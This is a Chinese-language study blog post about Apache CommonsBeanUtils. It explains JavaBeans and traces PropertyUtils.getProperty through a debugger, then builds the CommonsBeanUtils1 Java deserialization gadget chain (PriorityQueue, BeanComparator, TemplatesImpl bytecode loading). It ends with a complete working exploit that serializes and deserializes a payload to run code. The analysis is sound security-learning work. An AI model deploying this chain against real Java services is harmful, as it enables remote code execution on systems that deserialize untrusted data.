CommonsBeanUtils学习

CommonsBeanUtils介绍

CommonsBeanUtils是Apache Commons中的一个组件,主要用于处理JavaBean的操作。 它提供了一系列工具类和方法,帮助开发者动态地获取和设置JavaBean的属性,简化了编程工作‌

首先是功能方面:

  1. 属性操作:提供了PropertyUtiles类,可以动态的获取和设置javaBean的属性,例如PropertyUtils.getProperty(object, "property")可以调用对象的getter方法,获取属性值‌。
  2. 类型转化:提供类型转化工具,如ConvertUtils,可以将一种类型的对象转换成另一种类型。
  3. 比较器:BeanComparator类实现了Comparator接口,用于在集合中对javaBean对象进行排序

javaBean介绍

上面提到了javaBean对象,那么javaBean对象是什么呢?

javaBean是一种java的软件组件模型, 它通过封装属性和方法成为具有某种功能或处理某个业务的对象。

我理解起来就是,在一个public的java类中,有无参的构造函数,并且存在一个或者多个private的属性,而且提供了公开的get/set方法的类就是javaBean。也就是下面三个要素

  1. 该java类是公共的并且具有无参构造函数
  2. 存在一个或者多个私有的属性
  3. 有公开的getter与setter方法。

使用CommonsBeanUtils进行调用javaBean事例及源码调试

cat.java

package org.example;

public class cat {
    private String name = "follycat";
    public cat(){}

    public String getName(){
        return name;
    }
}

main.java

package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Throwable {
        cat cat = new cat();
        System.out.println(PropertyUtils.getProperty(cat,"name"));

    }
}

调用过后可以直接输出name的值,因为可以直接找到cat类中name的get方法。

可以进行调试一下,来看commonsBeanUtils是怎么进行调用name类的get方法的。

首先进入.getProperty,

现在可以看到参数bean是cat类,name参数还是name。

然后继续步入,走到PropertyUitlsBean中的getProperty方法。

主要是这一段

        while (resolver.hasNested(name)) {
            String next = resolver.next(name);
            Object nestedBean = null;
            if (bean instanceof Map) {
                nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);
            } else if (resolver.isMapped(next)) {
                nestedBean = getMappedProperty(bean, next);
            } else if (resolver.isIndexed(next)) {
                nestedBean = getIndexedProperty(bean, next);
            } else {
                nestedBean = getSimpleProperty(bean, next);
            }
            if (nestedBean == null) {
                throw new NestedNullException
                        ("Null property value for '" + name +
                        "' on bean class '" + bean.getClass() + "'");
            }
            bean = nestedBean;
            name = resolver.remove(name);
        }

        if (bean instanceof Map) {
            bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
        } else if (resolver.isMapped(name)) {
            bean = getMappedProperty(bean, name);
        } else if (resolver.isIndexed(name)) {
            bean = getIndexedProperty(bean, name);
        } else {
            bean = getSimpleProperty(bean, name);
        }
        return bean;

调试之后可以发现while(resolver.hasNested(name))是直接为false的,没有进入while循环中,然后因为bean不为map,引索,以及映射的属性,于是就进入了getSimpleProperty中

继续跟进到getSimpleProperty中,然后看到getPropertyDescriptor

其实可以看到在invokeMethod之前的readMethod中已经被赋值为了getName。

差不多是在这里

其中的getPropertyDescriptors() 方法用于获取类的所有属性的描述符。每个 PropertyDescriptor 提供了有关该属性的详细信息,包括其名称、getter 方法、setter 方法等。

也就是这里的信息开始有了getName方法

然后返回到getDescriptor中对获取到的getName以及其他方法进行遍历,最后返回我们所需要的那个类。

最后在这里的InvokeMethod进行执行。

跟进之后可以看到

最后返回的value就是执行后的getName的返回值了。

链子分析

尾部

既然已经知道了CommonsBeanUtils是如何调用getter方法的,现在就可以利用他进行调用任意getter方法了。

可以看到cc3的链子,这条链子之前我自己分析的时候只分析到了newTransformer方法,然后直接使用cc1中的InvokeTransformer的后半条链进行调用了他的newTransformer,这里可以继续往下面分析。

现在如果有一个getter方法调用了TemplatesImpl的newTransform方法,我们就可以通过PropertyUtils.getProperty调用getter方法,然后使用动态加载 TemplatesImpl 字节码的方式进行攻击的。

这个getter方法就是getOutputProperties,他就在newTransform的下面,并且他完全符合PropertyUtils.getProperty的调用方式。

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

所以这条链子的尾部就已经完成了,就是使用PropertyUtils.getProperty调用TemplatesImpl的getOutputProperties方法,然后进行动态字节码加载执行代码

测试代码:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CommonsBeanUtils1 {

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
    }

}

成功弹出计算器。

中间与前半部分

现在就是要从PropertyUtils.getProperty出发,继续寻找调用了他的链子。

可以找到BeanComparetor的compare方法,这里调用了PropertyUtils.getProperty

测试代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanUtils1 {

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
        BeanComparator beanComparator = new BeanComparator("outputProperties");
        beanComparator.compare(templates,templates);
    }

}

成功弹出计算器

随后继续查找有谁调用了compare,看到PriorityQueue 这个类中的siftDownUsingComparator() 方法。这个方法调用了compare()

其实这前半部分和cc4中的前半段是一样的。

exp

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanUtils1 {

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
        BeanComparator beanComparator = new BeanComparator("outputProperties");
//        beanComparator.compare(templates,templates);


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);
        Class c = priorityQueue.getClass();
        Field field = c.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;

    }

}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

follycat

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值